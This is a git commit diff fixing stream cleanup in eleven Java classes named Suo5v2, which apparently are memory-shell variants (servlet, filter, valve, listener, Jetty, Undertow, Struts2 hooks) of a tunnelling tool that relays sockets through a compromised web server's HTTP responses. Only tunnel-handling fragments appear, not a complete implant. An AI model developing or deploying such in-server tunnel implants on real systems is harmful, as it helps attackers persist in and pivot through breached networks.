fix: close respOutputStream in finally

This commit is contained in:
ReaJason
2025-12-16 21:55:21 +08:00
parent c623897a80
commit 0097984b33
11 changed files with 78 additions and 57 deletions
@@ -346,10 +346,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId); Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -381,26 +381,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
} }
} }
private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception {
boolean newThread = false; boolean newThread = false;
boolean sendClose = true; boolean sendClose = true;
try { try {
byte action = ((byte[]) dataMap.get("ac"))[0]; byte action = ((byte[]) dataMap.get("ac"))[0];
switch (action) { switch (action) {
@@ -324,10 +324,10 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId); Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -359,15 +359,17 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -329,10 +329,10 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId); Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -365,14 +365,18 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -341,10 +341,10 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId); Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -376,19 +376,20 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
} }
} }
@@ -379,10 +379,10 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId); Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -414,15 +414,17 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -340,10 +340,10 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId); Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -375,15 +375,17 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -335,10 +335,10 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId); Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -370,15 +370,17 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -323,10 +323,10 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId); Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -358,15 +358,17 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -326,10 +326,10 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId); Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -361,15 +361,17 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -326,10 +326,10 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId); Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -361,15 +361,17 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -329,10 +329,10 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Valve p = new Suo5v2Valve(scInStream, respOutputStream, tunId); Suo5v2Valve p = new Suo5v2Valve(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -364,15 +364,17 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }